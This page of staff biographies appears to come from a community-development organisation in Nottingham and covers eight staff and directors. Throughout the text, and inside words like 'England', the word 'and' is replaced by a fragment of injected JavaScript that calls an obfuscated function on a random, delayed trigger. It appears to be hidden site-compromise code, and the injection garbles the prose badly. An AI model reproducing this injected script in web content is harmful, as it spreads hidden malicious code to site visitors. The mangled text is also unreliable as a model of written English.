Profiles

Michael Henry

Michael Henry has worked in the Third Sector for almost 30 years andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is a founding Director of Communities Inc. Michael’s practical experience is underpinned by both management andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and marketing qualifications which have helped him work at all levels to inspire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop innovative, creative but practical solutions to challenges within society.

Michael is experienced in developing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and facilitating dialogue-based projects both at strategic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grass-roots levels.  ‘He was trained by ‘Hope in the Cities’ (in Richmond, Virginia); in the facilitation of Dialogues on race, reconciliation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and partnership-building.

Michael has worked as a consultant for Nottingham Trent University during which time he established a BME consultative forum to act as an interface between the NTU andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nottingham’s BME community.

A graduate of Nottingham Common Purpose Programme (1992/3), Michael was a member of the Nottingham Common Purpose Advisory Group andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a regular contributor to their leadership programmes. He has played a key role in the design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and delivery of the Future Leaders of Nottingham Programme, which promotes diversity at senior management level in Nottingham’s public sector.

He also sits on the Boards of local charities Enable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and PATRA Inc. ACDA two of Nottingham’s’ key voluntary sector organisations. Michael is an equality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and social inclusion representative on the European Social Investment Fund board of the Local Enterprise Partnership (D2N2) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a member of the Independent Remuneration Board of Nottingham City Council.

In 2001 Michael received an award from Nottingham City Council for his contribution towards the promotion of good race relations in the city. In 2009 he won the Business in the Community (Marks & Spencer sponsored) Sieff Award for the East Midlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. The award recognises individuals, based in the community, who have successfully collaborated with the business community to benefit society.

email: michael@communitiesinc.org.uk

 

Shamsher Chohan

Shamsher first started her work in the voluntary sector as a volunteer with the Terrence Higgins Trust in London in 1988. She then became active as a volunteer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and paid worker in the HIV sector, being a board member of the Black Communities AIDS Team in Leeds, Volunteer at Leicestershire AIDS Support Service andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Black HIV/AIDS Forum in Manchester. Shamsher attended andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and presented research that she had done at 5 International andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Asia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Pacific AIDS conferences up to 1996.

Shamsher started supporting small groups with their development in 1998 when she worked at Voluntary Action Stoke-on-Trent, where she also became involved in the development of the National Compact joining the National Compact Working Group andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and being the Vice Chair of the BME Compact Sub Group.

Shamsher has been involved in many voluntary organisations locally, regionally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nationally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was one of the founding members of the national BME infrastructure organisation Voice4Change Englandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and (V4CE) securing the funding from the Active Communities Unit (Home Office) for a conference that preceded V4CE establishment. She was the first CEO of Voice East Midlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, London Regional Director for CEMVO andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Mainstreaming Equalities Manager at Government Office London.

Shamsher is passionate about tackling inequalities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has worked as a consultant prior to Communities Inc for the Community Development Foundation, Charities Evaluation Services andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and V4CE. Her other passion is Community Development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and she was the Chair of the Community Development Exchange for 5 years as well as being a Board member of Urban Forum. She remains active on the national scene as a Director of the Community Sector Coalition andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supporter of the National activists Network.

In 2001 Shamsher was noted as the Rising Star under 40 for the East Midlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands by The Guardian newspaper.

Shamsher has always taken her own personal development seriously andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as a result is a Common Purpose graduate, Firewalk Instructor, NLP Trainer, Shamanic Practitioner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a Stage Hypnotist.

email: shamsher@communitiesinc.org.uk

 

Phil McCauley

Phil McCauley is serial entrepreneur. He holds an MA in Politics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Social Policy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is Industrial Fellow of The University of Nottingham. Phil is Chairman of Blackstar Amplification andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an investor in numerous high-growth start ups. He has taken a company public on the NYSE. He is a composer. He enjoys helping community organisations fulfill their potential andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is a great supporter of the arts.

 

Raluca Moraru

 

raluca_webRaluca is interested in international development, gender inequality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and human rights.She has recently worked as a VSO Volunteer in Ghana on TENI, a project that focuses in inclusive education for children with disability andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vulnerable girls. This experience has inspired her to promote active citizenship, get involved in decision making andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pursue a career in international development. She is in the process of applying for a Masters Degree at the University of Birmingham which focuses on Inequality, Poverty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Development.

Apart from her job at Communities Inc, Raluca also work as a Youth Volunteer Selector for VSO London. On her spare time, she enjoys travelling, reading, keeping fit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and working on her art.

email: raluca@communitiesinc.org.uk.

Katarzyna Kotlarska

katOriginally from Polandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, Kat recently graduated MA Visual Communications course with minors in MSc Psychology andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and MSc Organisation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Management at Nottingham Trent University.

Kat is responsible for producing visual materials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and delivering digital content here at Communities Inc. She has undergone thirteen-year education in various aspects of visual art including Applied Arts, Design, Photography andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Painting. She has nine years of experience working on personal projects andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and commissions in various fields of visual arts ranging from graphic design to film making.

Outside of work, Kat is also involved with Surface Gallery as Exhibitions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Design Coordinator. She enjoys working on her personal projects, visit exhibitions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and read art theory books.

Lyndon Gibson

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Lyndon is our Building Stronger Communities Project Worker. His role is to help people, communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organisations to identify andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and report hate crime, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and educate about the effects it has on communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and individuals. He has previously worked in youth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community organisations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as freelance trainer with over 30 years experience promoting equality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community cohesion.

email: lyndon@communitiesinc.org.uk

Anthony Salla

workAnthony has experience working in the public, private andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and third sector in the UK andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overseas. His work in the third sector started in 2003 at Toxteth CAB. Anthony has since managed various projects across London including a multi-borough mental health project, peer educators project aimed at addressing sexual violence in gang affected areas in addition to several young person’s research projects. He also played a central role in establishing a transformative justice forum to address hate crime comprised of cross-sector partners including Metropolitan Police, London Probation, Association of Chief Police Officers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experts from the third sector. Anthony holds a BA in International Development, MSc Social Policy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is presently undertaking a PhD in the field of race, criminal justice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mental health. He is also a co-director at Account CIC andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Every Voice, Islington.

 

Arwa Almari

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Arwa is driven by her passion to serve communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to galvanise the power that exists within the grassroots to inspire positive change. She is well versed in a variety of community development methods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has experience in coordinating projects in the voluntary andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community sector.

Arwa delivers the Nottingham Speaks project, which seeks to create dialogue between Nottingham’s diverse communities, as well as encourage witnesses of hate crime to speak out against what they see. The project is particularly targeted at engaging BME, white working class andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Eastern European communities with the aim of providing these communities with the platform to challenge the misconceptions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stereotypes they face.